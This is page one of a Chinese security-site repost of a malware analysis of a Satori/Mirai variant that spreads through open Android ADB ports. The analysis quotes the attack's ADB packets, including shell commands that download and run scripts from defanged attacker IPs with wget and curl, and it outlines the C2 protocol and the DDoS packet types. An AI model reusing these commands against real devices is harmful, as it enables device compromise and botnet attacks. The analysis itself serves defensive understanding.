欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Satori变种利用开放的ADB端口在Android设备中传播

来源:本站整理 作者:佚名 时间:2018-08-03 TAG: 我要投稿

写在前面的话
对于许多物联网用户来说,利用设备上的开放端口一直是一个持续存在的问题。特别是TCP端口5555在过去遇到过问题,因为这是产品制造商在出厂之前将其打开,所以这可能会使用户暴露给攻击者。最近,我们在7月9日至10日和7月15日检测到两个可疑峰值,发现了这是一个使用端口5555的新漏洞。
该活动涉及名为Android Debug Bridge(ADB)的命令行实用程序,这是Android SDK的一部分,用于处理设备之间的通信,允许开发人员在Android设备上运行和调试应用程序。我们的数据显示,第一波网络流量主要来自中国和美国,而第二波主要涉及韩国。

技术分析
根据我们对网络数据包的分析,我们确定恶意软件通过扫描的开放式ADB端口进行传播。它通过ADB连接删除第1阶段shell脚本,以在目标系统上启动。此脚本下载两个阶段2 shell脚本,负责启动阶段3二进制文件。它通过TCP端口5555上传payload.来攻击ADB:“CNXN”,0,0,0,1,0,0×10,0,0,7,0,0,0,”2″,2,0,0,0xBC,0xB1,0xA7,0xB1,”host::”一旦加载到设备中,payload将从磁盘中删除自身,并使用随机选择的名称重命名,并附加架构字符串。payload将下载shell脚本,该脚本在执行后被删除:
“OPENX”,2,0,0,0,0,0,0,0xF2,0×17,”J”,0,0,0xB0,0xAF,0xBA,0xB1,”shell:>/sdcard/Download/f && cd /sdcard/Download/; >/dev/f && cd /dev/; >/data/local/tmp/f && cd /data/local/tmp/; busybox wget hxxp://185[.]62[.]189[.]149/adbs -O -> adbs; sh adbs; curl hxxp://185[.]62[.]189[.]149/adbs2 > adbs2; sh adbs2; rm adbs adbs2″7月9日活动的shell脚本如下所示:cd /dev/; busybox wget hxxp://95[.]215[.]62[.]169/adbs -O -> adbs; sh adbs; rm adbs

相比之下,7月15日活动的payload代替了两个脚本:早期的“adbs”和一个名为“adbs2”的新脚本。和以前一样,它会在执行后删除它们:cd /data/local/tmp/; busybox wget hxxp://185[.]62[.]189[.]149/adbs -O -> adbs; sh adbs; curl hxxp://185[.]62[.]189[.]149/adbs2 > adbs2; sh adbs2; rm adbs adbs2

这些脚本下载了几个架构的下一个阶段二进制文件,并启动相应的版本。它们都做相同的事情,但使用不同的下载方法。第一个使用curl,第二个使用在BusyBox中构建的wget。wget版本的示例如下所示:

二进制文件首先从文件系统中删除自己的二进制文件。然后它使用参数“yItDitb2HvayJvNc”检查它自己的名字是否是“./.f”。如果结果是肯定的,它将使用主机名“n[.]ukrainianhorseriding[.]com”来解析C&C的地址服务器通过谷歌DNS服务器。否则,它连线IP地址95[.]215[.]62[.]169,连接端口为7267。然后它将关闭所有三个stdio流并获得自己的IP地址,然后启动两个子进程。第一个扫描/proc/[pid]/maps映射系统上所有正在运行的进程的内存映射区域,以打开临时文件smi,xig或trinity。如果找到,它会杀死相应的进程。Trinity可能与Android系统模糊器有关,而smi是属于CoinHive脚本的已知文件,该脚本在被劫持的亚马逊设备上挖掘Monero。第二个子进程负责将恶意软件作为蠕虫传播。二进制文件继续将前面提到的所有三个pid以二进制形式写入以下位置之一:

然后二进制文件打开与C&C服务器的连接:

然后,它会将特制消息发送到C&C服务器。它的长度是71个字节,如下所示:“WWau14TJ8IapVXrrlFq0q5sxB”, “\x00 80 00 5A 00 57 00 C8 00 F0 00 1E 00 00”和附加的体系结构字符串,即32字节数组中的“arm7”。
C2 then sends to the victim2 bytes number (x)Interpretation is following:if x == 505: receive next 2 bytes from C2if x == 0xDD99: kill children and exitif x > 1024: close connection and sleep(10)else:receive x bytes from C2 (they are not used, maybe this version is not finishet yet)receive new xrecv payload containing attacking target list of len x bytes`
每六个通信周期,受害者以6字节序列(9,3,2,5,8,1)响应。此有效内容包含一个标头,其中包含要发送的目标数和IP数据包类型,然后是被受感染主机修改的目标IPv4地址列表,这些目标IPv4地址由受感染主机修改并随机生成的偏移量。然后,恶意软件将带有随机生成的payload的精心制作的IP数据包发送到获取的攻击列表——可能是DDoS攻击的一部分。IP数据包包括以下内容:
1.UDP随机生成随机长度的payload2.具有随机长度的随机payload的TCP SYN分组3.TCP ACK具有随机长度的随机payload4.通过通用路由封装(GRE)隧道传输的随机payload的UDP5.TCP SYN,之后它将发送TCP ACK并确保TCP窗口大小,源端口,seq_number和IP标识与前一个会话一致。每个数据包之间有三秒钟的等待时间。从下载的二进制文件研究人员发现C&C服务器95[.]215[.]62[.]169链接到Mirai僵尸网络的Satori变体。深入研究活动中涉及的两个IP地址的GeoIP信息,发现它们位于欧洲; 西班牙95[.]215[.]62[.]169和荷兰185[.]62[.]189[.]149。我们有理由相信,这个样本和Satori背后都是同一作者。使用简单的XOR方法进行加密(参见图8中的加密字符串示例)。有趣的是,与使用字节交换和Base62编码组合的旧样本相比,此恶意软件版本使用的复杂字符串加密方法较少

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载